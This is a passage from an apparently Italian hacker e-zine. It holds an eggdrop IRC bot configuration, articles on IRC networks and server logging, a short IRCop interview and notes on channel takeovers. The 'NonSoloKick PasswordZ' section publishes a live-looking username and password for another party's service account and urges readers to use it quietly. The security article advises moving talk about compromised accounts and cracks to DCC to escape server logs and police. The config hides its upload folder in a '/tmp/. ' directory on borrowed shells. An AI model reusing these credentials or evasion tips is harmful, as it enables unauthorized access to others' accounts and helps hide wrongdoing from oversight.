# [0/1] if this is set, a leading '~' on user@hosts WON'T be stripped off
set strict-host 0
# Sotto quale timezone apparteniamo?
set timezone "GMT+1"
# Esistono molte variabili
per migliorare la presentabilita' del nostro bot
# ctcp-version, ctcp-finger, and ctcp-userinfo. Puoi usare il comando set
# per impostarele a tuo piacimento.
set ctcp-version "Mundus vult decipi"
set ctcp-finger "What do you find? nothing..."
set ctcp-userinfo "Mundus vult decipi"
#####
pROTEZIONe DEL CANALe
#####
# Fate cosi' per ogni canale 'statico' vogliate impostare:
# Comunque consiglio di fare piu' canali dinamici direttamente
# dalla party line e poi salvarli con il comando .chansave
channel add #hackit {
chanmode "+nst-likm"
idle-kick 0
need-op { putserv "PRIVMSG #hackit :op me please!" }
need-invite { putserv "PRIVMSG #hackit :let me in!" }
need-key { putserv "PRIVMSG #hackit :let me in!" }
need-unban { putserv "PRIVMSG #hackit :sbannatemi please!" }
need-limit { putserv "PRIVMSG #hackit :let me in!" }
}
# Le cose all'interno delle { } si chiamano: CHANNEL OPTIONS -# le quali possono essere settate con il comando "channel add", o utilizzando
# anche "channel set", come nell'esempio che segue.
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
chanmode
Quale modo 'forzare'? Con il '+' verra' aggiunto, e con il '-'
verra' tolto.
idle-kick
Cacciare i memberi del channel dopo quanti minuti di inattivita'?
(non metterlo oppure settarlo a 0 per disabilitarlo)
need-op
Script da lanciare (se si vuole) quando il bot vuole essere 'oppato'
su questo canale.
need-invite
Script da lanciare (se si vuole) quando il bot e' chiuso (+i) fuori
dal canale.
need-key
Script da lanciare (se si vuole) quando il bot e' chiuso dal canale, ma
perche' e' sprovvisto della 'chiave'.
need-unban
Script da lanciare (se si vuole) quando il bot viene bannato dal canale
need-limit
Script da lanciare (se si vuole) quando il bot viene chiuso fuori
perche' l'afflusso limite di membri nel canale e' al sua massimo.
# N.B.: I comandi "need-op", "need-invite", etc, sono limitati a 120 caratteri,
# cosi' se volete che siano un po' piu' complicati, scrivetevi una procedura,
# e fategli chiamare tale procedura!
# Ci sono un mucchio di altre opzioni che possono essere abilitate (+) o
# disabilitate (-) su ogni canale. Ad esempio per
abilitare l'opzione autoop:
#
+autoop
# per disabilitarla, mettere:
#
-autoop
#
Cancellare la lista dei bannati quando il bot entra nel canale?
#
(ad esempio, per forzare che la lista dei bannati del channel coincida
#
con quella del bot)
channel set #hackit +clearbans
#
#
Quando si setta un ban, cacciare la gente che e' gia' nel canale e quindi
confrontarla con la nuova 'lista dei bannati' ?
channel set #hackit +enforcebans
#
Attivare il ban solo quando e' necessario?
#
Consigliabile.
channel set #hackit +dynamicbans
#
Permette che i 'ban' vengano messi direttamente dagli utenti?
#
(se disabilitato questo sara' possibile farlo solo dalla console del bot)
channel set #hackit +userbans
#
#
Oppare gli utenti con il 'flag' +o (op) il piu' presto possibile
da quando sono entrati nel canale?
channel set #hackit +autoop
#
Lascia che solo gli utenti con il 'flag' +o (op) siano 'operatori del
#
canale' ?
channel set #hackit +bitch
#
Mostra una riga di informazione sull'utente che entra nel canale?
channel set #hackit +greet
#
Rioppa un utente con il 'flag' +o (op) se venisse deoppato?
channel set #hackit +protectops
#
Informa dello stato dei canali ogni 5 minuti? (a qualcuno questa opzione
#
potrebbe annoiare un po'; ma penso che sia utile)
channel set #hackit -statuslog
#
Deoppa chi entra nel canale come op (es, netsplit) quando, pero',
#
non lo era prima dello split?
channel set #hackit +stopnethack
#
Ricorda le persone che hanno deoppato/kickkato/bannato il bot
#
o un operatore, e punirli?
#
Gli utenti con il 'flag' +f (friend) sono esclusi dal 'revenge'.
channel set #hackit +revenge
#
Paranoici della sicurezza??
channel set #hackit +secret
#
Condividi le info dell'utente per questo channel?
channel set #hackit -shared
# Ecco un breve esempio:
#channel add #hackit {
# chanmode "+nst-likm"
# idle-kick 0
#}
#####
#
#
#
#
LOG FILES
#####
Puoi avere piu' di 5 file di log. Alla mezzanotte di ogni giorno i vecchi
file saranno rinominati e ne verranno creati dei nuovi. Di default, i vecchi
file vengono chiamati "(nomedelfilelog).yesterday", e ogni file log
precedente verra' cancellato.
# Gli eventi sono catalogati in certe categorie -- in questo modo puoi
# specificare esattamente che genere di eventi vuoi indirizzare ai vari
# file di log. Gli eventi sono:
#
m msg/ctcp privati al bot
#
k kickkate, bannate, e altri cambiamenti di 'modo' sul canale
#
j joinnate(entrate), part, netsplit sul canale
#
p 'chattate' pubbliche sul canale
#
s connessioni/disconnessioni/notizie da/al server
#
b informazioni circa i collegamenti tra bot e le condivisioni utenti
#
c comandi utilizzati (via msg o dcc)
#
x trasferimento di file e comandi riguardanti l'area file
#
r (se definito nel file eggdrop.h) OGNI COSA mandata al bot dal server
#
o oltre cose: misc, errori -- COSE IMPORTANTI
#
#
#
#
#
#
#
#
#
w
wallops: msgs between IRCops (be sure to set the bot +w in init-server)
NON HO PIU' VOGLIA DI TRADURRE !! IMPARATE L'INGLESE!!
each logfile also belongs to a certain channel. events of type 'k', 'j',
and 'p' are logged to whatever channel they happened on. most other
events are currently logged to every channel. you can make a logfile
belong to all channels by assigning it to channel "*". there are also
five user-defined levels ('1'..'5') which are used by Tcl scripts.
# in 'eggdrop.log' put msgs, commands, and errors from any channel:
logfile mkco * "egg.log"
# in 'lame.log' put joins, parts, and mode changes from #lame:
logfile jk #hackit "hackit.log"
# [0/1] timestamp entries in the log file? (generally a good idea)
set log-time 1
# [0/1] keep logfiles for more than 48 hours -- instead of being called
# "(logfilename).yesterday", the log files are named by the current date,
# and kept around forever (eventually your directory might get full, so
# be careful with this!)
set keep-all-logs 0
# once a day the logfiles are switched out and started fresh -# this specifies when that should happen (in military time)
# [note that a leading 0 will make Tcl think this is an octal value,
# something you probably don't want.]
set switch-logfiles-at 300
# this is the default console mode -- what masters will see automatically
# when they dcc chat with the bot (masters can alter their own console
# flags once they connect, though) -- it uses the same event flags as
# the log files
# (note that the console channel is automatically set to your "primary"
# channel -- the one you defined first in this file. masters can change
# their console channel with the '.console' command, however.)
set console "mkcobxs"
#####
FILES AND DIRECTORIES
#####
# the userfile: where user records are stored
set userfile "^ChiaRa.user"
# the notefile: where private notes between users are stored
set notefile "^ChiaRa.user.notes"
# maximum number of notes to allowed stored for each user
# (to prevent flooding)
set max-notes 50
# where the help files can be found (and there are plenty)
set help-path "help/"
# where miscellaneous info files are
set text-path "text/"
# a good place to temporarily store files (ie: /tmp)
set temp-path "/tmp"
# the MOTD is displayed when people dcc chat to the bot.
# check 'help set motd' for tons of motd options.
set motd "motd"
#####
FILE SYSTEM
#####
# the file transfer area works via dcc chat. you can turn the file system
# off by not defining the 'files-path' below.
# this is the 'root' directory for the file system (set it to "" if you
# don't want a file system)
set files-path ""
# if you want to allow uploads, set this to the directory uploads should be
# put into
set incoming-path "/tmp/. /incoming"
# [0/1] alternately, you can set this, and uploads will go to the current
# directory that a user is in
set upload-to-pwd 0
# eggdrop creates a '.filedb' file in each subdirectory of your dcc area,
# to keep track of its own file system info -- if you can't do that (like
# if the dcc path isn't owned by yours) or you just don't want it to do
# that, specify a path here where you'd like all the database files to
# be stored instead (otherwise, just leave it blank)
set filedb-path ""
# set maximum number of people that can be in the file area at once
# (0 to make it effectively infinite)
set max-file-users 20
# set maximum number of simultaneous downloads to allow for each user
set max-dloads 3
# set the block size for dcc transfers (ircII uses 512 bytes, but admits
# that may be too small -- 1024 is standard these days)
# set this to 0 to use turbo-dcc (recommended)
set dcc-block 0
# maximum allowable file size that will be received, in K
# (default is 1024K = 1M)
set max-filesize 1024
# [0/1] copy files into the /tmp directory before sending them? this is
# useful on most systems for file stability. (someone could move a file
# around while it's being downloaded, and mess up the transfer.) but if
# your directories are NFS mounted, it's a pain, and you'll want to set
# this to 0.
set copy-to-tmp 1
#####
#
#
#
#
#
STARTUP
#####
You MUST remove that line for this config file to work. This has been
added to prevent you from starting up a bot that is not fully configured.
Bots that have not been fully configured may join the wrong IRC network,
the wrong channels, or generally do things that you do not want. Please
make sure that you have double-checked the settings you want.
#####
MODULES
######
#
# this is only relevant to people who compiled with modules support
#
##### IF YOU USE MODULES AND DONT READ THIS YOU ARE A TOTAL WAD #####
#
# choose your encryption method now, 'cause once it's there it aint
# changing till you get a new userfile, capish? at this stage that leaves
# you with one option: blowfish
# uncomment this line to load blowfish
#loadmodule blowfish
#
#uncoment this line to load assoc support
#loadmodule assoc
#
#uncoment this line to load the file system module
#loadmodule filesys
#
#####
END OF IMPORTANT STUFF
#####
BOTNET
#####
#####
# you probably shouldn't deal with this until reading 'botnet.doc' or
# something. you need to know what you're doing.
# if you want to use a different nickname on the botnet than you use on
# IRC, set it here:
#set botnet-nick "LlamaBot"
# what telnet port should this bot answer?
# NOTE: if you are running more than one bot on the same machine, you will
#
want to space the telnet ports at LEAST 5 apart... 10 is even better
listen 3343 all
# if you would rather have one port for the botnet, and one for normal
# users, you will want something like this instead:
#listen 3333 bots
#listen 4444 users
# note: there are more options listed for the listen command in
# doc/tcl-commands.doc
# [0/1] share user data with other bots on the channel?
set share-users 0
# [0/1] share user greets with other bots on the channel if shareing user data?
set share-greet 0
# [0/1] allow other bots userfiles to overwrite yours?
set passive 0
# [0/1] users with the +o (global op) flag will still need the +p (party
# line) flag to join the dcc chat party line?
set require-p 0
# [0/1] allow people to telnet in, type 'NEW', and become a new user?
set open-telnets 0
# how long (in seconds) should i wait for a connect (dcc chat, telnet,
# relay, etc) before it times out?
set connect-timeout 15
#####
MORE ADVANCED STUFF
#####
# are you behind a firewall? uncomment this and specify your socks host
#set firewall "proxy:178"
# or, for a Sun "telnet passthru" firewall, set it this way
# (does anyone besides Sun use this?)
#set firewall "!sun-barr.ebay:3666"
# if you're using virtual hosting (your machine has more than 1 IP), you
# may want to specify the particular IP to bind to. you can specify
# either by hostname or by IP. you may also want to set the hostname
# here if eggdrop has trouble detecting it when it starts up. (it will
# let you know if it has trouble -- trust me.)
#set my-hostname "virtual.host.com"
#set my-ip "99.99.0.0"
#
# if you have a NAT firewall (you box has an IP in one of the following
# ranges: 192.168.0.0-192.168.255.255, 172.16.0.0-172.31.255.255,
# 10.0.0.0-10.255.255.255 and your firewall transparently changes your
# address to a unique address for your box.) or you have IP masquerading
# between you and the rest of the word, and /dcc chat,/ctcp chat or
# userfile shareing arent working. Enter you outside IP here, and
# #define HAVE_NAT in eggdrop.h
# Do not enter anything for my-ip or my-hostname.
#set nat-ip "127.0.0.1"
# if you want all dcc file transfers to use 1 particular listening port
# (this pretty much limits you to one concurrent file transfer at a time),
# either because you're behind a firewall, or for other security reasons,
# set it here
#set reserved-port 9076
# if you want to dynamically change channel settings, and have them saved
# for next time the bot restarts, define this filename ( the filename
# you set here *MUST* exist else the bot won't load. Just create an empty
# file for this to work)
#set channel-file "LamestBot.chan"
# script to run (if any) when first connecting to a server
set init-server { putserv "MODE $botnick +iw-s" }
# how many msgs in how many seconds from the same host constitutes a flood?
set flood-msg 5:60
# how many public msgs in how many seconds?
set flood-chan 10:60
# how many joins/nick changes in how many seconds?
set flood-join 5:60
# how many CTCPs in how many seconds?
set flood-ctcp 3:60
# temporary bans will last how many minutes?
set ban-time 120
# temporary ignores will last how many minutes?
set ignore-time 15
# normally the user file is saved once an hour, on the hour
# you can change that here (for example, "20" means to save every
# hour at 20 minutes past the hour)
set save-users-at 00
# normally users are notified once and hour, on the hour, if they have any
# notes on the bot. You can change that here (for example, "15" means to
# notify every hour at 15 minutes past the hour)
set notify-users-at 00
# send a note to anybody when I learn new users?
set notify-newusers "HQ"
# if compiled with owner, the following user(s) will ALWAYS have the
# owner (+n) flag
set owner "Sciack, skk"
# what flags should new users get as a default?
# check 'help whois' for tons of motd options.
set default-flags "px"
# what user-defined fields should be displayed in a '.whois'?
# this will only be shown if the user has one of these xtra fields
# set with 'user-set'.
set whois-fields "url birthday"
# some networks allow you to stack lots of channel modes into one
# line. as of november 1996, the major networks allowed:
#
EFnet
4
#
IRCnet
3
#
Undernet
6
#
Dalnet
6
# they're all guaranteed to support at least 3, so that's the default,
# but if you know your network supports more, you may want to adjust
# this value. this value must be less that or equal to 6.
set modes-per-line 3
# maximum number of lines to queue to the server.
# if you're going to dump large chunks of text to people over irc, you
# will probably want to raise this -- most people are fine at 300 though
set max-queue-msg 300
# time (in seconds) to wait for someone to return from a netsplit
set wait-split 300
# time (in seconds) that someone must have been off-channel before
# re-displaying their info
set wait-info 180
# time (in seconds) that a dcc file transfer can remain inactive
# before being timed out
set xfer-timeout 300
# time (in days) to let stored notes live before expiring them
set note-life 60
#####
SCRIPTS
#####
# load that toolkit of useful scripts (some script packages may depend
#
on this being loaded)
source scripts/toolkit.tcl
# these are some commonly loaded (and needed) scripts.
source scripts/toolbox.tcl
source scripts/action.fix.tcl
Bene, questo e' quanto. Ora avete una shell (speriamo), l'eggdrop
installato, lo script (... il mio ...), insomma: tutto quello che
vi serve!! Forse avete bisogno solo di un po' di fortuna... e,
mettendo in pratica i consigli che abbiamo gia' detti, dovremmo
riuscire a mantenere il BOT per un po' di tempo... forse tanto tempo!
Un ultima cosa: a volte i sysadmin cancellano la dir /tmp, periodicamente,
forse perche' sanno che c'e' il pericolo, o forse semplicemente per
'manutenzione', in ogni caso, potrebbe essere piu' saggio piazzare
il BOT in un altra dir dove si hanno i permessi di scrittura. Vedete
un po' voi.
sALUTi:
=======
Finalmente siamo arrivati alla fine, non che io mi sia annoiato, ma
forse perche' VOI lo sarete :-)) Spero di no... Volevo ringraziare
chi mi ha dato la possibilita' di scrivere questo articolo, quindi
Nobody... e comunque tutti quelli che mi vogliono bene, tra i primi
OVVIAMENTE cito il dio Samron... eheh :-)) Saluti e baci alla D.i.B.
Cr3W... la mitica e inimitabile DIB (http://come.to/dib), li conoscete?
Alla prossima.
The Sciack
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
IRC NETWORKS
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
<-<-[ IRC Networks ]->->
Oki doki belli! I'm returned! In kuesto grosso doc tratteremo di due
argomenti molto importanti: dar• un infarinatura generale sulla struttura
di un server e sulle varie reti che offrono servizi diversi da IRCnet...
(leggasi Dalnet, AzzurraNet e Undernet)
<-<-[ KreditZ ]->->
Giusto prima di kominciare voglio dare un paio di kreditZ a tutta la gente
ke non ho mai salutato, ma ke mi ha sempre aiutato, supportato e anke
sopportato ;)
Ekkovi l'elenko...
Mmilo, il grande Maestro
Cloud, il mio pi— grande amico "reale"
G18, per il suo mitiko e potentissimo script (altro ke Bisnuke, PiZza ecc.)
oneb0y, Fragola, Fabryx, Cleindori, per essere miei amici (one d'estate vengo)
Paperino, per essere uno dei miei migliori amici su irk... (Anci ruleZ!)
N0bodY88, per essere un mio supporter (mi aspetto un bell'ndN0bodY!)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ndN0bodY = cax e mo che scrivo???? CIAO MAMMA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
]-Ard-[, per essere il mio mito personale!
LeoMar, per esistere!
]|KuBoZ|[ & YAMAZAKI & Steeve, per essere i kompagni pi— simpatici ke si
possano trovare in giro...
Radio 105, le Merit, il Glen Grant & il mio lettore Cd:
per avermi tenuto compagnia...
Infine riservo un pikkolo ma non meno importante kreditZ a un amikone, ke
purtroppo non vedo spesso n‚ su irk n‚ dal vivo:
CyberAle TORNA KON NOI!!
-----------------------------------------------------------------------------End of prologue...now the really g00d things begin...
-----------------------------------------------------------------------------Allora raga, avete letto i miei kreditZ e vi sarete stufati senza dubbio...
Perci• iniziamo, inanzitutto definizione di server IRC:
Un server Š un programma che manda dati precisi ad un altro programma, detto
client, il quale interpreta i dati mandati dal server e vi da accesso a
determinate funzioni. Nel caso di un server IRC, vengono mandati diversi dati
che indicano i nick presenti su un canale, le frasi dette, i cambi di nick e
di mode ecc. Quindi questi dati una volta partiti dal server e giunti a
destinazione (che sarebbe il nostro bel modem, che a sua volta li passa al
client) vengono appunto interpretati dal client (solitamente il mIRC). Molto
genericamente una struttura server/client per IRC funziona cos•:
1) Connessione TCP alla porta scelta (solitamente 6667) [piccola parentesi
sulle astrazioni del TCP: ogni macchina connessa su Internet possiede un
particolare numero a tre cifre detto IP; esso Š nella forma XXX.XXX.XXX.XXX
dove alle X sostituite un numero che va da 1 a 255. Per evitare di dover fare
molti computer diversi, ognuno connesso e quindi con un IP diverso, nel TCP/IP
Š stata creata l'astrazione delle porte: infatti ogni computer con un IP ha
anche diverse porte, e queste vengono aperte da determinati programmi, appunto
i server, a cui poi il client si connette]
2) Appena la connessione viene stabilita, il server aspetta due comandi dal
client: USER e NICK. Il primo introduce un host, il secondo un nick
3) Il client viene introdotto sulla rete IRC. Da questo momento in poi Š
possibile joinare canali, fare query ecc.
Ne avrete dedotto che un client altro non Š che una connessione su un server:
e infatti io ho fatto delle prove in locale, e conoscendo la sintassi dei
comandi Š possibile chattare via Telnet (eheheheh :)
Il comando principale Š PRIVMSG: infatti con questo comando Š possibile
chattare. La sintassi Š la seguente: PRIVMSG <destinatario> :<messaggio>
il destinatario pu• essere o un canale (e in questo caso sar… preceduto da #)
oppure un nick (senza #). Nel caso il dest. sia un nick si aprir… la famosa
finestra di query. I due punti prima del messaggio non sono indispensabili,
per• servono per potere mandare messaggi lunghi pi— di una parola. Se li
ometterete infatti arriver… solo la prima parola del messaggio.
Se volete approfondire le conoscenze teoriche sui server IRC, vi consiglio di
scaricarvi l'RFC (Reference for Comments) numero 1459. Lo potrete trovare
facendo un FTP search (http://www.ftpsearch.lycos.com) sul nome file
RFC1459.ZIP o RFC1459.TXT
Passiamo adesso a discernere sulle altre reti IRC: infatti non esiste solo
IRCnet come alcuni pensano, ma esiste anche Dalnet, Undernet, AzzurraNet ecc.
Io bazzico Undernet, ma non sono SpYmAsTeR perch‚ ce n'Š gi… uno. Per• il
nick non ve lo dico, perch‚ su Undernet io sono un'altra persona ;)
Comunque, inziamo con Dalnet e Azzurra: queste due reti usano al 99% lo
stesso server irc (domanda personale: un server irc per linux si chiama IRCD,
ossia IRC Daemon?), basato su dei bot gi… inseriti e programmati per stare
sui canali, registrare nick cos• da evitare fakes, lasciare promemoria ecc
(sono quasi le stesse funzioni che ha un Eggdrop). Questi bot si chiamano
ChanServ, NickServ, MemoServ ecc. Potrete trovare un articolo molto completo
su NewBies 2, riguardante la sintassi di tutti i comandi ecc. Sebbene
l'articolo parlasse solo di AzzurraNet, sappiate che tra Dalnet e AzzurraNet
cambia pochissimo, se non niente. Passiamo adesso ad Undernet, che conosco
molto bene. Il server Š basato sulla coppia X/W. Questi sono due bot, per•
molto pi— complessi della controparte di Dalnet. Infatti sono SEMPRE presenti
su tutti i canali della rete, e gestiscono tutte le liste degli op, dei ban
e cos• via. Su Undernet ci sono due categorie di user: i registrati e i non
registrati: i primi a loro volta si differenziano per livello; questo Š un
numero che va da 500 a 1. La registrazione si ottiene relativamente ad un
canale, perci• posso essere 500 di #amici ma 1 di #italia. I poteri che si
hanno dipendono proprio dal livello: infatti quelli con il level alto possono
eseguire pi— comandi attraverso i bot. Infatti Š possibile bannare oppare ecc.
come su ircnet, ma un ban attraverso X/W sar… inpossibile da rimuovere. Se io
500 banno uno che sta simpatico al 100, il 100 dovr… arrendersi, visto che
appena toglie il ban ci pensa X/W a rimetterlo. Gli utenti non registrati
invece non possono fare quasi un cazzo, tranne che poche cose come la mappa
dei server e altro. Gli IRCop di Undernet sono molto ma molto pi— potenti
di quelli di IRCnet: infatti possono fare diverse cose, fra cui togliere X/W
da un canale. Perci• stateci attenti, possono essere letali.
Ahhhhhh finito! Adesso mi vado a smokare una bella Merit, poi gioco un po'
a Baldur's Gate, mi sento un po' di musica e tutto questo in barba ai compiti
visto che domani ci sta assemblea d'istituto...
SpYmAsTeR
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
INTERVISTA CON UN IRCOP
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
E anke stavolta arriva lo sk00p! Il vostro giornalista d'assalto preferito
Š riuscito ad intervistare un IRCop! Inkredibile! Dopo aver sekkato per
giorni e giorni un IRCop, ke non mi ha mai risposto, kon l'aiuto di un
mio grandissimo amico (ciao Ard!) ke mi ha dato il nick dell'IRCop ke ho
intervistato, sono riuscito a kiedergli delle kose ke assillano tutti da
tempo immemore! Godetevi l'intervista (putroppo poko lunga, ma devo ankora
kiamare in query un altro IRCop :)!
Nota: l'IRCop in kuestione mi ha kiesto di poter rimanere anonimo, e perci•
ho sostituito il suo nick kon tante X...inoltre ho rimaneggiato il log
sotto il punto di vista grafiko e ortografiko...e tutto kuesto solo per voi
Newbies!
-----------------------------------INIZIO------------------------------------<SpYmAsTeR> Ciao!
<SpYmAsTeR> Io lavoro per NewBies, una rivista on-line che tratta argomenti
che sono sconosciuti ai pi—...insomma siamo una specie di guida italiana
per i newbies appunto...
<SpYmAsTeR> e mi hanno chiesto di intervistare un IRCop
<SpYmAsTeR> tu sei disponibile?
<XXXXXXXXX> se e' una cosa veloce si'
<SpYmAsTeR> Ok, vedr• di moderarmi :)
<SpYmAsTeR> Allora domanda 1
<SpYmAsTeR> Voi lavorate gratis, o venite pagati?
<XXXXXXXXX> Gli ircop in genere lavorano per passione, non per soldi...
<SpYmAsTeR> 2) Ma per diventare ircop avete passato un esame o cose simili?
Voglio dire, esiste un corso, non so?
<XXXXXXXXX> No, non c'e' tirocinio...
<XXXXXXXXX> Chi amministra un server
<XXXXXXXXX> da lo status di ircop a persone di sua fiducia
<XXXXXXXXX> o a colleghi o simili
<SpYmAsTeR> 3) in quali occasioni intervenite con il cambio dei modi
dall'esterno, con le k-line, i kill ecc.?
<XXXXXXXXX> modi dall'esterno?
<SpYmAsTeR> beh, io ho un wircsrv e da ircop posso cambiare i modi di un chan
dall'esterno!
<XXXXXXXXX> Sul tipo di server usato in ircnet un ircop pu• solo
<XXXXXXXXX> killare, mettere K-line se ha accesso ai file di configurazione
linkare o slinkare un server...
<XXXXXXXXX> nient'altro...(hai detto niente! ndSpY)
<XXXXXXXXX> e sono tutte operazioni che svolge a sua discrezione
<XXXXXXXXX> e' chiaro che se uno slinka mezza rete non rimane ircop per
molto...
<SpYmAsTeR> ok, vista la tua fretta penso che altre domande rilevanti
non ci siano, al limite posso ricontattarti se mi viene in mente qualcosa?
<SpYmAsTeR> magari quando hai + tempo, non so...
<XXXXXXXXX> si' certo
<SpYmAsTeR> ok, ti ringrazio moltissimo, mi sei stato di grandissimo aiuto,
a risentirci al + presto! :)
<XXXXXXXXX> ciao :)
------------------------------------FINE-------------------------------------SpYmAsTeR
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
IRC SECURITY
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Irc, come tutti noi sappiamo, Š forse una delle pi— belle cose che si possono
fare su Internet. Per• IRC non Š propriamente il luogo pi— sicuro del mondo.
Infatti oltre ad essere possibile la visione del vostro IP (fakabili cmq
grazie ai sock firewall, grazie alle shell che permettono ircII ecc.),
TUTTO ci• che dite ai vostri amici di turno su greenZ, hackZ, crackZ ecc.
viene loggato sul server irc. Se per un qualunque motivo la polizia dovesse
beccarvi che parlate di un verde appena scoperto e vi date le password,
potrebbero pure arrestarvi. Dis not g00d.
La soluzione a ci• l'ha inventata il caro Khaled Mardam Bey (coder del
mIRC), infatti ha usato il DCC (Direct Client Connection).
Cos• gli Ircop non vi loggano e potete dire quello che vi pare...
A questo punto i veri newbies si chiederanno: "ma perch‚ se io uso una query
non sono in privato con quello l…, non mi possono loggare". E invece si, per
il motivo che mi appresto a spiegarvi. Una volta connessi al server IRC il
vostro client manda una serie di comandi al server: il comando per parlare e'
PRIVMSG #canale :<messaggio>
In pratica mandate un messaggio a quel canale. E per una query si adopera
lo stesso comando, solo che al posto del canale si mette un nick.
Questo significa che la finestra di query Š solo una comodit… del vostro
client. In realt… una query Š esattamente come un canale. E tutto ci• che
sendate con PRIVMSG Š loggato dal server. Una DCC non si appoggia su PRIVMSG,
ma solo sul client utilizzato (mIRC, vIRC, pIRCh o quello che diavolo avete).
Perci• ragazzi, prima di dire cose che non convengono su un chan o in query,
pensateci tre volte come minimo. Ok? ;)
SpYmAsTeR
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
<-<-[ NonSoloKick PasswordZ ]->->
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Veloce veloce da leccarsi le orecchie: in molti mi hanno chiesto delle pass
per NonSoloKick, dato che i bastardoni non registrano se non dopo secoli
beccatevi sto bell'account. Divertitevi e non usatelo in troppi,
senn• si insospettiscono...
username: city hunter347
password: S2IiHqV0h5
mi raccomando nella pass rispettate le maiuscole e le minuscole altrimenti
non funzia...
1-v-n0-n4m3
sPERO x vOI cHE nON pENSIATE cHE sIA uN nICK vERO !!!
cOSA nON sI fAREBBE pER mANTENERE l'aNONIMATO !!!!!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
IL PUNTO SU IRC
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Solo 2 righe per riassumere i primi mesi dell'anno su irc : molti take
, cambi di gestione di canali e tentativi di take non riusciti .
Vicenza dopo un mese in mano ai reflective e' tornata purtroppo ai Bad Karma,
